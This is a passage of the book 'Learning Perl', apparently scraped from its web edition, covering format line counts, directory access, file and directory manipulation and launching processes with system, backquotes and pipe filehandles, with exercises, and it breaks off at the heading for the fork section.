If you print your own text to a filehandle, it messes up the page-position line count because Perl isn't counting lines for anything but a write. If you want to let Perl know that you've output a few extra lines, you can adjust Perl's internal line count by altering the $- variable. This variable contains the number of lines left on the current page on the currently selected filehandle. Each write decrements the lines remaining by the lines actually output. When this count reaches zero, the top-of-page format is invoked, and the value of $- is then copied from $= (the page length).

For example, to tell Perl that you've sent an extra line to STDOUT, do something like this:

write; # invoke STDOUT format on STDOUT
...;
print "An extra line... oops!\n"; # this goes to STDOUT
$- --; # decrement $- to indicate non-write line went to STDOUT
...;
write; # this will still work, taking extra line into account

At the beginning of the program, $- is set to zero for each filehandle. This ensures that the top-of-page format will be the first thing invoked for each filehandle upon the first write.

Previous: 11.5 The Top-of-Page Format | Learning Perl | Next: 11.7 Exercises
11.5 The Top-of-Page Format | Book Index | 11.7 Exercises


[Chapter 11] 11.7 Exercises

Learning PerlSearch this book

11.7 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program to open the /etc/passwd file by name and print out the username, user ID (number), and real name in formatted columns. Use format and write.

  2. Add a top-of-page format to the previous program. (If your password file is relatively short, you might need to set the pagelength to something like 10 lines so that you can get multiple instances of the top of the page.)

  3. Add a sequentially increasing page number to the top of the page, so that you get page 1, page 2, and so on, in the output.

Previous: 11.6 Changing Defaults for Formats | Learning Perl | Next: 12. Directory Access
11.6 Changing Defaults for Formats | Book Index | 12. Directory Access


[Chapter 12] Directory Access

Learning PerlSearch this book
Previous: 11.7 Exercises Chapter 12 Next: 12.2 Globbing

12. Directory Access

Contents:
Moving Around the Directory Tree
Globbing
Directory Handles
Opening and Closing a Directory Handle
Reading a Directory Handle
Exercises

12.1 Moving Around the Directory Tree

By now, you're probably familiar with the notion of the current directory and using the shell's cd command. In systems programming, you'd be invoking the chdir system call to change the current directory of a process, and this is the name used by Perl as well.

The chdir function in Perl takes a single argument - an expression evaluating to a directory name to which the current directory will be set. As with most other system calls, chdir returns true when you've successfully changed to the requested directory and false if you couldn't. Here's an example:

chdir("/etc") || die "cannot cd to /etc ($!)";

The parentheses are optional, so you can also get away with stuff like this:

print "where do you want to go? ";
chomp($where = <STDIN>);
if (chdir $where) {
               # we got there
} else {
               # we didn't get there
}

You can't find out where you are without launching a pwd command.[1] We'll learn about launching commands in Chapter 14, Process Management.

[1] Or using the getcwd() function out of the Cwd module.

Every process[2] has its own current directory. When a new process is launched, it inherits its parent's current directory, but that's the end of the connection. If your Perl program changes its directory, it won't affect the parent shell (or whatever) that launched the Perl process. Likewise, the processes that the Perl program creates cannot affect that Perl program's current directory. The current directories for these new processes are inherited from the Perl program's current directory.

[2] Well, in UNIX and most other modern operating systems.

The chdir function without a parameter defaults to taking you to your home directory, much like the shell's cd command.

Previous: 11.7 Exercises | Learning Perl | Next: 12.2 Globbing
11.7 Exercises | Book Index | 12.2 Globbing


[Chapter 12] 12.2 Globbing

Learning PerlSearch this book

12.2 Globbing

The shell (or whatever your command-line interpreter is) takes a solitary asterisk (*) command-line argument and turns it into a list of all of the filenames in the current directory. So, when you say rm *, you'll remove all of the files from the current directory. (Don't try this unless you like irritating your system administrator when you request the files to be restored.) Similarly, [a-m]*.c as a command-line argument turns into a list of all filenames in the current directory that begin with a letter in the first half of the alphabet and end in .c, and /etc/host* is a list of all filenames that begin with host in the directory /etc. (If this is new to you, you probably want to read some more about shell scripting somewhere else before proceeding.)

The expansion of arguments like * or /etc/host* into the list of matching filenames is called globbing. Perl supports globbing through a very simple mechanism: just put the globbing pattern between angle brackets or use the more mnemonically named glob function.

@a = </etc/host*>;
@a = glob("/etc/host*");

In a list context, as demonstrated here, the glob returns a list of all names that match the pattern (as if the shell had expanded the glob arguments) or an empty list if none match. In a scalar context, the next name that matches is returned, or undef is returned if there are no more matches; this is very similar to reading from a filehandle. For example, to look at one name at a time:

while (defined($nextname = </etc/host*>)) {
    print "one of the files is $nextname\n";
}

Here the returned filenames begin with /etc/host, so if you want just the last part of the name, you'll have to whittle it down yourself, like so:

while ($nextname = </etc/host*>) {
    $nextname =~ s#.*/##; # remove part before last slash
    print "one of the files is $nextname\n";
}

Multiple patterns are permitted inside the file glob argument; the lists are constructed separately and then concatenated as if they were one big list:

@fred_barney_files = <fred* barney*>;

In other words, the glob returns the same values that an equivalent echo command with the same parameters would return.[3]

[3] This is actually no surprise when you understand that to perform the glob, Perl merely fires off a C-shell to glob the specified arglist and parses what it gets back.

Although file globbing and regular-expression matching function similarly, the meaning of the various special characters is quite different. Don't confuse the two, or you'll be wondering why <\.c$> doesn't find all of the files that end in .c !

The argument to glob is variable interpolated before expansion. You can use Perl variables to select files based on a string computed at run-time:

if (-d "/usr/etc") {
    $where = "/usr/etc";
} else {
    $where = "/etc";
}
@files = <$where/*>;

Here we set $where to be one of two different directory names, based on whether or not the directory /usr/etc exists. We then get a list of files in the selected directory. Note that the $where variable is expanded, which means the wildcard to be globbed is either /etc/* or /usr/etc/*.

There's one exception to this rule: the pattern <$var> (meaning to use the variable $var as the entire glob expression) must be written as <${var}> for reasons we'd rather not get into at this point.[4]

[4] The construct <$fred> reads a line from the filehandle named by the contents of the scalar variable $fred. Together with some other features not covered in this book, this construct enables you to use "indirect filehandles" where the name of a handle is passed around and manipulated as if it were data.

Previous: 12.1 Moving Around the Directory Tree | Learning Perl | Next: 12.3 Directory Handles
12.1 Moving Around the Directory Tree | Book Index | 12.3 Directory Handles


[Chapter 12] 12.3 Directory Handles

Learning PerlSearch this book

12.3 Directory Handles

If your particular flavor of operating system provides the readdir library function or its moral equivalent, Perl provides access to that routine (and its companions) using directory handles. A directory handle is a name from yet another namespace, and the cautions and recommendations that apply to filehandles also apply to directory handles (you can't use a reserved word, and uppercase is recommended). The filehandle FRED and the directory handle FRED are unrelated.

The directory handle represents a connection to a particular directory. Rather than reading data (as from a filehandle), you use the directory handle to read a list of filenames within the directory. Directory handles are always opened read-only; you cannot use a directory handle to change the name of a file or to delete a file.

If your library doesn't provide readdir( ) and friends (and you didn't provide a substitute implementation while building Perl), using any of these routines is a fatal error, and your program won't make it past the compilation: it will abort before the first line of code is executed. Perl tries very hard to isolate you from your environment, but it's not a miracle worker.

Previous: 12.2 Globbing | Learning Perl | Next: 12.4 Opening and Closing a Directory Handle
12.2 Globbing | Book Index | 12.4 Opening and Closing a Directory Handle


[Chapter 12] 12.4 Opening and Closing a Directory Handle

Learning PerlSearch this book

12.4 Opening and Closing a Directory Handle

The opendir function works like the C and C++ library call of the same name. You give it the name of a new directory handle and a string value denoting the name of the directory to be opened. The return value from opendir is true if the directory can be opened, false otherwise. Here's an example:

opendir(ETC,"/etc") || die "Cannot opendir /etc: $!";

Normally, at this point, we'd go playing with the directory handle ETC, but it's probably nice to know how to close the directory handle first. This is done with closedir, in a similar manner to using close, like so:

closedir(ETC);

Like close, closedir is often unnecessary, since all directory handles are automatically closed before they're reopened or at the end of the program.

Previous: 12.3 Directory Handles | Learning Perl | Next: 12.5 Reading a Directory Handle
12.3 Directory Handles | Book Index | 12.5 Reading a Directory Handle


[Chapter 12] 12.5 Reading a Directory Handle

Learning PerlSearch this book

12.5 Reading a Directory Handle

Once we have a directory handle open, we can read the list of names with readdir, which takes a single parameter: the directory handle. Each invocation of readdir in a scalar context returns the next filename (just the basename: you'll never get any slashes in the return value) in a seemingly random order.[5] If there are no more names, readdir returns undef.[6] Invoking readdir in a list context returns all of the remaining names as a list with one name per element. Here's an example of listing all of the names from the /etc directory:

opendir(ETC,"/etc") || die "no etc?: $!";
while ($name = readdir(ETC)) { # scalar context, one per loop
    print "$name\n"; # prints ., .., passwd, group, and so on
}
closedir(ETC);

[5] Specifically, this is the order in which the filenames are kept in the directory - the same unordered order you get back from the find command or ls -f under UNIX.

[6] Which means you'll have to use while (defined ($name = readdir (...)) when working under Perl's -w option.

And here's a way of getting them all in alphabetical order with the assistance of sort:

opendir(ETC,"/etc") || die "no etc?: $!";
foreach $name (sort readdir(ETC)) { # list context, sorted
    print "$name\n"; # prints ., .., passwd, group, and so on
}
closedir(ETC);

The names include files that begin with a dot. This is unlike globbing with <*>, which does not return names that begin with a dot. On the other hand, it is like the shell's echo*.

Previous: 12.4 Opening and Closing a Directory Handle | Learning Perl | Next: 12.6 Exercises
12.4 Opening and Closing a Directory Handle | Book Index | 12.6 Exercises


[Chapter 12] 12.6 Exercises

Learning PerlSearch this book

12.6 Exercises

Answers are in Appendix A, Exercise Answers.

  1. Write a program to change directory to a location specified as input, then list the names of the files in alphabetical order after changing there. (Don't show a list if the directory change did not succeed: merely warn the user.)

  2. Modify the program to include all files, not just the ones that don't begin with dot. Try to do this with both a glob and a directory handle.

Previous: 12.5 Reading a Directory Handle | Learning Perl | Next: 13. File and Directory Manipulation
12.5 Reading a Directory Handle | Book Index | 13. File and Directory Manipulation


[Chapter 13] File and Directory Manipulation

Learning PerlSearch this book
Previous: 12.6 Exercises Chapter 13 Next: 13.2 Renaming a File

13. File and Directory Manipulation

Contents:
Removing a File
Renaming a File
Creating Alternate Names for a File: Linking
Making and Removing Directories
Modifying Permissions
Modifying Ownership
Modifying Timestamps
Exercises

This chapter shows you how to manipulate the files themselves, not merely the data contained in them. We'll use the UNIX (and POSIX and Linux) semantics for demonstrating access to files and directories. Not all filesystems access mechanisms, but these are the standard ones for reasonably support-rich filesystem models.

13.1 Removing a File

Earlier, you learned how to create a file from within Perl by opening it for output with a filehandle. Now, we'll get dangerous and learn how to remove a file (very appropriate for Chapter 13, File and Directory Manipulation, don't you think?).

The Perl unlink function (named for the POSIX system call) deletes one name for a file (which could possibly have other names). When the last name for a file is deleted, and no processes have it open, the file itself is removed. This is exactly what the UNIX rm command does. Because a file typically has just one name (unless you've created hard links), for the most part, you can think of removing a name as removing the file. Given that, here's how to remove a file called fred and then remove a file specified during program execution:

unlink ("fred"); # say goodbye to fred
print "what file do you want to delete? ";
chomp($name = <STDIN>);
unlink ($name);

The unlink function can take a list of names to be unlinked as well:

unlink ("cowbird","starling"); # kill two birds
unlink <*.o>;                  # just like "rm *.o" in the shell

The glob is evaluated in a list context, creating a list of filenames that match the pattern. This is exactly what we need to feed unlink.

The return value of unlink is the number of files successfully deleted. If there's one argument, and it is deleted, the result is one, otherwise it is zero. If there are three filenames but only two could be deleted, the result is two. You can't tell which two, so if you need to figure out which deletion failed, you must do them one at a time. Here's how to delete all of the object files (ending in .o) while reporting an error for any file that cannot be deleted:

foreach $file (<*.o>) { # step through a list of .o files
    unlink($file) || warn "having trouble deleting $file: $!";
}

If the unlink returns 1 (meaning the one file specified was indeed deleted), the true result skips the warn function. If the filename cannot be deleted, the 0 result is false, so the warn is executed. Once again, this can be read abstractly as "unlink this file or tell me about it."

If the unlink function is given no arguments, the $_ variable is once again used as a default. Thus, we could have written the loop above as:

foreach (<*.o>) { # step through a list of .o files
    unlink || warn "having trouble deleting $_: $!";
}

Previous: 12.6 Exercises | Learning Perl | Next: 13.2 Renaming a File
12.6 Exercises | Book Index | 13.2 Renaming a File


[Chapter 13] 13.2 Renaming a File

Learning PerlSearch this book

13.2 Renaming a File

In the UNIX shell, you change the name of a file with the mv command. With Perl, the same operation is denoted with rename($old,$new). Here's how to change the file named fred into barney:

rename("fred","barney") || die "Can't rename fred to barney: $!";

Like most other functions, rename returns a true value if successful, so test this result to see whether the rename has indeed worked.

The mv command performs a little behind-the-scenes magic to create a full pathname when you say mv file some-directory. However, the rename function cannot. The equivalent Perl operation is:

rename("file","some-directory/file");

Note that in Perl we had to say the name of the file within the new directory explicitly. Also, the mv command copies the file when the file is renamed from one mounted device to another (if you have one of the better operating systems). The rename function isn't as smart, so you'll get an error, indicating you have to move it around some other way (perhaps by invoking a mv command on the same names). The File::Copy module supports a move function.

Previous: 13.1 Removing a File | Learning Perl | Next: 13.3 Creating Alternate Names for a File: Linking
13.1 Removing a File | Book Index | 13.3 Creating Alternate Names for a File: Linking


[Chapter 13] 13.3 Creating Alternate Names for a File: Linking

Learning PerlSearch this book

13.3 Creating Alternate Names for a File: Linking

As if one name for a file weren't enough, sometimes you want to have two, three, or a dozen names for the same file. This operation of creating alternate names for a file is called linking. The two major forms of linking are hard links and symbolic links (also called symlinks or soft links). Not all kinds of filesystems support both of these or even either of them. This section describes filesystems under POSIX.

13.3.1 About Hard and Soft Links

A hard link to a file is indistinguishable from the original name for the file; there's no particular link that is more the "real name" for the file than any other.

The operating system keeps track of how many hard links reference the file at any particular time. When a file is first created, it starts with one link. Each new hard link increases the count. Each removed link reduces the count. When the last link to a file disappears, and the file is closed, the file goes away.

Every hard link to a file must reside on the same mounted filesystem (usually a disk or a part of a disk). Because of this, you cannot make a new hard link to a file that is on a different mounted filesystem.

Under most systems, hard links are also restricted for directories. To keep the directory structure as a tree rather than an arbitrary mish-mash, a directory is allowed only one name from the root, a link from the dot file within itself, and a bunch of dot-dot hard links from each of its subdirectories. If you try to create another hard link to a directory, you will get an error (unless you're the superuser, and then you get to spend all night restoring your mangled filesystem).

A symbolic link is a special kind of a file that contains a pathname as data. When this file is opened, the operating system regards its contents as replacement characters for the pathname, causing the kernel to hunt through the directory tree some more, starting with the new name.

For example, if a symlink named fred contains the name barney, opening fred is really an indication to open barney. If barney is a directory, then fred/wilma refers to barney/wilma instead.

The contents of a symlink (where a symlink points) do not have to refer to an existing file or directory. When fred is made, barney doesn't even have to exist: in fact, it may never exist! The contents of a symlink can refer to a path that leads you off the current filesystem, so you can create a symlink to a file on another mounted filesystem.

While following the new name, the kernel may run across another symlink. This new symlink gives even more new parts to the path to be followed. In fact, symlinks can point to other symlinks, with usually at least eight levels of symlinks allowed, although this is rarely used in practice.

A hard link protects the contents of a file from being lost (because it counts as one of the names of the file). A symlink cannot keep the contents from disappearing. A symlink can cross mounted filesystems; a hard link cannot. Only a symlink can be made to a directory.

13.3.2 Creating Hard and Soft Links with Perl

The UNIX ln command creates hard links. The command

ln fred bigdumbguy

creates a hard link from the file fred (which must exist) to bigdumbguy. In Perl, this is expressed as:

link("fred","bigdumbguy") ||
    die "cannot link fred to bigdumbguy";

The link function takes two parameters, the old filename and a new alias for that file. The function returns true if the link was successful. As with the mv command, the UNIX ln command performs some behind-the-scenes magic, allowing you to specify the target directory for the new alias without naming the file within the directory. The link function (like the rename function) is not so smart, and you must specify the full filename explicitly.

For a hard link, the old filename cannot be a directory,[1] and the new alias must be on the same filesystem. (These restrictions are part of the reason that symbolic links were created.)

[1] Unless you are root and enjoy running fsck.

On systems that support symbolic links, the ln command may be given the -s option to create a symbolic link. So, to create a symbolic link from barney to neighbor (so that a reference to neighbor is actually a reference to barney), you'd use something like this:

ln -s barney neighbor

and in Perl, you'd use the symlink function, like so:

symlink("barney","neighbor") ||
    die "cannot symlink to neighbor";

Note that barney need not exist (poor Betty!), either now or in the future. In this case, a reference to neighbor will return something vaguely like No such file or directory.

When you invoke ls -l on the directory containing a symbolic link, you get an indication of both the name of the symbolic link and where the link points. Perl gives you this same information through the readlink function, which works surprisingly like the system call of the same name, returning the name pointed at by the specified symbolic link. So, this operation

if (defined($x = readlink("neighbor"))) {
    print "neighbor points at '$x'\n";
}

should talk about barney if all is well. If the selected symbolic link does not exist or can't be read or isn't even a symlink, readlink returns undef (definitely false), which is why we're testing it here.

On systems without symbolic links, both the symlink and readlink functions will fail, producing a run-time error. This is because there is no comparable equivalent for symbolic links on systems that don't support them. Perl can hide some system-dependent features from you, but some just leak right through. This is one of them.

Previous: 13.2 Renaming a File | Learning Perl | Next: 13.4 Making and Removing Directories
13.2 Renaming a File | Book Index | 13.4 Making and Removing Directories


[Chapter 13] 13.4 Making and Removing Directories

Learning PerlSearch this book

13.4 Making and Removing Directories

You probably couldn't have made it this far (on a UNIX system, anyway) without knowing about the mkdir (1) command, which makes directories that hold other filenames and other directories. Perl's equivalent is the mkdir function, which takes a name for a new directory and a mode that will affect the permissions of the created directory. The mode is specified as a number interpreted in internal permissions format. If you're not familiar with internal permissions, see chmod (2). If you're in a hurry, just say 0777 for the mode and everything will work.[2] Here's an example of how to create a directory named gravelpit:

[2] You aren't making a directory with wide-open permissions. Your process's current umask will also help determine the permissions. On UNIX systems, see the shell's umask command or umask (2).

mkdir("gravelpit",0777) || die "cannot mkdir gravelpit: $!";

The UNIX rmdir (1) command removes empty directories; you'll find a Perl equivalent with the same name. Here's how to make Fred unemployed:

rmdir("gravelpit") || die "cannot rmdir gravelpit: $!";

Although these Perl operators take advantage of the same-named system calls, they'll work even on systems without those system calls (albeit a bit slower). Perl calls the mkdir and rmdir utilities automatically for you (or whatever they're called on your system). Strike one blow in the name of portability!

Previous: 13.3 Creating Alternate Names for a File: Linking | Learning Perl | Next: 13.5 Modifying Permissions
13.3 Creating Alternate Names for a File: Linking | Book Index | 13.5 Modifying Permissions


[Chapter 13] 13.5 Modifying Permissions

Learning PerlSearch this book

13.5 Modifying Permissions

The permissions on a file or directory define who (in broad categories) can do what (more or less) to that file or directory. Under UNIX, the typical way to change permissions on a file is with the chmod (1) command. (See its manpage if you are unfamiliar with its operation.) Similarly, Perl changes permissions with the chmod function. This operator takes an octal numeric mode and a list of filenames, and attempts to alter the permissions of all the filenames to the indicated mode. To make the files fred and barney both read/write for everyone, for example, do something like this:

chmod(0666,"fred","barney");

Here, the value of 0666 happens to be read/write for user, group, and other, giving us the desired permission.

The return value of chmod is the number of files successfully adjusted (even if the adjustment does nothing); so it works like unlink, and you should treat it as such with regard to error checking. Here's how to change the permissions of fred and barney while checking the errors for each:

foreach $file ("fred","barney") {
    unless chmod (0666,$file) {
        warn "hmm... couldn't chmod $file: $!";
    }
}

Previous: 13.4 Making and Removing Directories | Learning Perl | Next: 13.6 Modifying Ownership
13.4 Making and Removing Directories | Book Index | 13.6 Modifying Ownership


[Chapter 13] 13.6 Modifying Ownership

Learning PerlSearch this book

13.6 Modifying Ownership

Every file (or directory, or device entry, or whatever) in the filesystem has an owner and group. The owner and group of a file determine to whom the owner and group permissions apply (read, write, and/or execute). The owner and group of a file are determined at the time the file is created, but under certain circumstances, you can change them. (The exact circumstances depend on the particular flavor of UNIX you are running: see the chown manpage for details.)

The chown function takes a user ID number (UID), a group ID number (GID), and a list of filenames, and attempts to change the ownership of each of the listed files as specified. A success is indicated by a nonzero return value equal to the number of files successfully changed - just like chmod or unlink. Note that you are changing both the owner and the group at once. Use -1 instead of an actual user or group ID if you do not want to change the ID. Also note that you must use the numeric UID and GID, not the corresponding symbolic names (even though the chmod command accepts the names). For example, if fred is UID 1234 and fred's default group stoners is GID 35, then the following command makes the files slate and granite belong to fred and his default group:

chown(1234, 35, "slate", "granite"); # same as:
                                     #  chown fred slate granite
                                     #  chgrp stoners slate granite

In Chapter 16, System Database Access, you'll learn how to convert fred to 1234 and stoners to 35.

Previous: 13.5 Modifying Permissions | Learning Perl | Next: 13.7 Modifying Timestamps
13.5 Modifying Permissions | Book Index | 13.7 Modifying Timestamps


[Chapter 13] 13.7 Modifying Timestamps

Learning PerlSearch this book

13.7 Modifying Timestamps

Associated with each file is a set of three timestamps. These timestamps were discussed briefly when we talked about getting information about a file: the last access time, the last modification time, and the last inode-change time. The first two timestamps can be set to arbitrary values by the utime function (which corresponds directly to the same-named UNIX system call). Setting these two values automatically sets the third value to the current time, so there's no point in having a way to set the third value.

The values are measured in internal time, namely an integer number of seconds past midnight GMT, January 1, 1970 - a figure that had reached 800-million-something when this book was being written. (Internally, it's represented as a 32-bit unsigned number, and if we haven't all upgraded to 64-bit machines (or beyond), will overflow sometime well into the next century. We have much more to worry about in the year 2000.[3])

[3] Perl's localtime and gmtime functions work just like C's: they return the year with 1,900 subtracted. In 2003, localtime will give the year as 103.

The utime function works like chmod and unlink. It takes a list of filenames and returns the number of files affected. Here's how to make the fred and barney files look as though they were modified sometime in the recent past:

$atime = $mtime = 700_000_000; # a while ago
utime($atime,$mtime,"fred","barney");

There's no "reasonableness" value for the timestamps: you can make a file look arbitrarily old or as though it were modified at some time in the distant future (useful if you are writing science fiction stories). For example, using the time function (which returns the current time as a UNIX timestamp), here's how to make the file max_headroom look like it was updated 20 minutes into the future:

$when = time( ) + 20*60; # 20 minutes from now
utime($when,$when,"max_headroom");

Previous: 13.6 Modifying Ownership | Learning Perl | Next: 13.8 Exercises
13.6 Modifying Ownership | Book Index | 13.8 Exercises


[Chapter 13] 13.8 Exercises

Learning PerlSearch this book

13.8 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that works like rm, deleting the files given as command-line arguments when the program is invoked. (You don't need to handle any options of rm.)

    Be careful to test this program in a mostly empty directory so you don't accidentally delete useful stuff! Remember that the command-line arguments are available in the @ARGV array when the program starts.

  2. Write a program that works like mv, renaming the first command-line argument to the second command-line argument. (You don't need to handle any options of mv, or more than two arguments.) You may wish to consider how to handle the rename when the destination is a directory.

  3. Write a program that works like ln, creating a hard link from the first command-line argument to the second. (You don't need to handle any options of ln, or more than two arguments.)

  4. If you have symlinks, modify the program from the previous exercise to handle an optional -s switch.

  5. If you have symlinks, write a program that looks for all symlinked files in the current directory and prints out their name and symlinked value similar to the way ls -l does it (name -> value). Create some symlinks in the current directory and test it out.

Previous: 13.7 Modifying Timestamps | Learning Perl | Next: 14. Process Management
13.7 Modifying Timestamps | Book Index | 14. Process Management


[Chapter 14] Process Management

Learning PerlSearch this book
Previous: 13.8 Exercises Chapter 14 Next: 14.2 Using Backquotes

14. Process Management

Contents:
Using system and exec
Using Backquotes
Using Processes as Filehandles
Using fork
Summary of Process Operations
Sending and Receiving Signals
Exercises

14.1 Using system and exec

When you give the shell a command line to execute, the shell usually creates a new process to execute the command. This new process becomes a child of the shell, executing independently, yet coordinating with the shell.

Similarly, a Perl program can launch new processes, and like most other operations, has more than one way to do so.

The simplest way to launch a new process is to use the system function. In its simplest form, this function hands a single string to a brand new /bin/sh shell to be executed as a command. When the command is finished, the system function returns the exit value of the command (typically 0 if everything went OK). Here's an example of a Perl program executing a date command using a shell:[1]

system("date");

[1] This doesn't actually use the shell: Perl performs the operations of the shell if the command line is simple enough, and this one is.

We're ignoring the return value here, but it's not likely that the date command is going to fail anyway.

Where does the command's output go? In fact, where does the input come from, if it's a command that wants input? These are good questions, and the answers to these questions are most of what distinguishes the various forms of process-creation.

For the system function, the three standard files (standard input, standard output, and standard error) are inherited from the Perl process. So for the date command in the previous example, the output goes wherever the print STDOUT output goes - probably the invoker's display screen. Because you are firing off a shell, you can change the location of the standard output using the normal /bin/sh I/O redirections. For example, to put the output of the date command into a file named right_now, something like this will work just fine:

system("date >right_now") && die "cannot create right_now";

This time, we not only send the output of the date command into a file with a redirection to the shell, but also check the return status. If the return status is true (nonzero), something went wrong with the shell command, and the die function will do its deed. This is backwards from normal Perl operator convention: a nonzero return value from the system operator generally indicates that something went wrong.

The argument to system can be anything you would feed /bin/sh, so multiple commands can be included, separated by semicolons or newlines. Processes that end in & are launched and not waited for, just as if you had typed a line that ends in an & to the shell.

Here's an example of generating a date and who command to the shell, sending the output to a filename specified by a Perl variable. This all takes place in the background so that we don't have to wait for it before continuing with the Perl script:

$where = "who_out.".++$i; # get a new filename
system "(date; who) >$where &";

The return value from system in this case is the exit value of the shell, and would thus indicate whether the background process had launched successfully, but not whether the date and who commands executed successfully. The double-quoted string is variable interpolated, so $where is replaced with its value (by Perl, not by the shell). If you wanted to reference a shell variable named $where, you'd have to backslash the dollar sign or use a single-quoted string.

A child process inherits many things from its parent besides the standard filehandles. These include the current umask, current directory, and of course, the user ID.

Additionally, all environment variables are inherited by the child. These variables are typically altered by the csh setenv command or the corresponding assignment and export by the /bin/sh shell. Environment variables are used by many utilities, including the shells, to alter or control the way that utility operates.

Perl gives you a way to examine and alter current environment variables through a special hash called %ENV (uppercase). Each key of this hash corresponds to the name of an environment variable, with the corresponding value being, well, the corresponding value. Examining this hash shows you the environment handed to Perl by the parent shell; altering the hash affects the environment used by Perl and by its child processes, but not parents.

For example, here's a simple program that acts like printenv :

foreach $key (sort keys %ENV) {
    print "$key=$ENV{$key}\n";
}

Note the equal sign here is not an assignment, but simply a text character that the print is using to say stuff like TERM=xterm or USER=merlyn.

Here's a program snippet that alters the value of PATH to make sure that the grep command run by system is looked for only in the normal places:

$oldPATH = $ENV{"PATH"};                 # save previous path
$ENV{"PATH"} = "/bin:/usr/bin:/usr/ucb"; # force known path
system("grep fred bedrock >output");     # run command
$ENV{"PATH"} = $oldPATH;                 # restore previous path

That's a lot of typing. It'd be faster just to set a local value for this hash element.

Despite its other shortcomings, the local operator can do one thing that my cannot: it can give just one element of an array or a hash a temporary value.

{
    local $ENV{"PATH"} = "/bin:/usr/bin:/usr/ucb";
    system "grep fred bedrock >output";
}

The system function can also take a list of arguments rather than a single argument. In that case, rather than handing the list of arguments off to a shell, Perl treats the first argument as the command to run (located according to the PATH if necessary) and the remaining arguments as arguments to the command without normal shell interpretation. In other words, you don't need to quote whitespace or worry about arguments that contain angle brackets because those are all merely characters to hand to the program. So, the following two commands are equivalent:

system "grep 'fred flintstone' buffaloes";   # using shell
system "grep","fred flintstone","buffaloes"; # avoiding shell

Giving system a list rather than giving it a simple string saves one shell process as well, so do this when you can. (Actually, when the one-argument form of system is simple enough, Perl itself optimizes away the shell invocation entirely, calling the resulting program directly as if you had used the multiple-argument invocation.)

Here's another example of equivalent forms:

@cfiles = ("fred.c","barney.c");           # what to compile
@options = ("-DHARD","-DGRANITE");         # options
system "cc -o slate @options @cfiles";     # using shell
system "cc","-o","slate",@options,@cfiles; # avoiding shell

Previous: 13.8 Exercises | Learning Perl | Next: 14.2 Using Backquotes
13.8 Exercises | Book Index | 14.2 Using Backquotes


[Chapter 14] 14.2 Using Backquotes

Learning PerlSearch this book

14.2 Using Backquotes

Another way to launch a process is to put a /bin/sh shell command line between backquotes. Like the shell, this fires off a command and waits for its completion, capturing the standard output as it goes along:

$now = "the time is now ".`date`; # gets text and date output

The value of $now winds up with the text the time is now along with the result of the date (1) command (including the trailing newline), so it looks something like this:

the time is now Fri Aug 13 23:59:59 PDT 1993

If the backquoted command is used in a list context rather than a scalar context, you get a list of strings, each one being a line (terminated in a newline[2]) from the command's output. For the date example, we'd have just one element because it generated only one line of text. The output of who looks like this:

merlyn     tty42    Dec  7 19:41
fred       tty1A    Aug 31 07:02
barney     tty1F    Sep  1 09:22

[2] Or whatever you've set $/ to.

Here's how to grab this output in a list context:

foreach $_ (`who`) { # once per text line from who
    ($who,$where,$when) = /(\S+)\s+(\S+)\s+(.*)/;
    print "$who on $where at $when\n";
}

Each pass through the loop works on a separate line of the output of who, because the backquoted command is evaluated within a list context.

The standard input and standard error of the command within backquotes are inherited from the Perl process.[3] This means that you normally get just the standard output of the commands within the backquotes as the value of the backquoted-string. One common thing to do is to merge the standard error into the standard output so that the backquoted command picks up both, using the 2>&1 construct of the shell:

[3] Actually, it's a bit more complicated that this. See the question in Section 8 of the Perl FAQ on "How can I capture STDERR from an external command?" If you're running Perl version 5.004, the FAQ is distributed as a normal manpage - perlfaq8 (1) in this case.

die "rm spoke!" if `rm fred 2>&1`;

Here, the Perl process is terminated if rm says anything, either to standard output or standard error, because the result will no longer be an empty string (an empty string would be false).

Previous: 14.1 Using system and exec | Learning Perl | Next: 14.3 Using Processes as Filehandles
14.1 Using system and exec | Book Index | 14.3 Using Processes as Filehandles


[Chapter 14] 14.3 Using Processes as Filehandles

Learning PerlSearch this book

14.3 Using Processes as Filehandles

Yet another way to launch a process is to create a process that looks like a filehandle (similar to the popen (3) C library routine if you're familiar with that). We can create a process-filehandle that either captures the output from or provides input to the process.[4] Here's an example of creating a filehandle out of a who(1) process. Because the process is generating output that we want to read, we make a filehandle that is open for reading, like so:

open(WHOPROC, "who|"); # open who for reading

[4] But not both at once. See Chapter 6 of Programming Perl or perlipc (1) for examples of bidirectional communication.

Note the vertical bar on the right side of who. That bar tells Perl that this open is not about a filename, but rather a command to be started. Because the bar is on the right of the command, the filehandle is opened for reading, meaning that the standard output of who is going to be captured. (The standard input and standard error remain shared with the Perl process.) To the rest of the program, the WHOPROC handle is merely a filehandle that is open for reading, meaning that all normal file I/O operators apply. Here's a way to read data from the who command into an array:

@whosaid = <WHOPROC>;

Similarly, to open a command that expects input, we can open a process-filehandle for writing by putting the vertical bar on the left of the command, like so:

open(LPR,"|lpr -Pslatewriter");
print LPR @rockreport;
close(LPR);

In this case, after opening LPR, we write some data to it and then close it. Opening a process with a process-filehandle allows the command to execute in parallel with the Perl program. Saying close on the filehandle forces the Perl program to wait until the process exits. If you don't close the filehandle, the process can continue to run even beyond the execution of the Perl program.

Opening a process for writing causes the command's standard input to come from the filehandle. The process shares the standard output and standard error with Perl. As before, you may use /bin/sh-style I/O redirection, so here's one way to simply discard the error messages from the lpr command in that last example:

open(LPR,"|lpr -Pslatewriter >/dev/null 2>&1");

The >/dev/null causes standard output to be discarded by being redirected to the null device. The 2>&1 causes standard error to be sent to where the standard output is sent, resulting in errors being discarded as well.

You could even combine all this, generating a report of everyone except Fred in the list of logged-on entries, like so:

open (WHO,"who|");
open (LPR,"|lpr -Pslatewriter");
while (<WHO>) {
    unless (/fred/) { # don't show fred
        print LPR $_;
    }
}
close WHO;
close LPR;

As this code fragment reads from the WHO handle one line at a time, it prints all of the lines that don't contain the string fred to the LPR handle. So the only output on the printer is the lines that don't contain fred.

You don't have to open just one command at a time. You can open an entire pipeline. For example, the following line starts up an ls (1) process, which pipes its output into a tail (1) process, which finally sends its output along to the WHOPR filehandle:

open(WHOPR, "ls | tail -r |");

Previous: 14.2 Using Backquotes | Learning Perl | Next: 14.4 Using fork
14.2 Using Backquotes | Book Index | 14.4 Using fork


[Chapter 14] 14.4 Using fork

Learning PerlSearch this book

14.4 Using fork

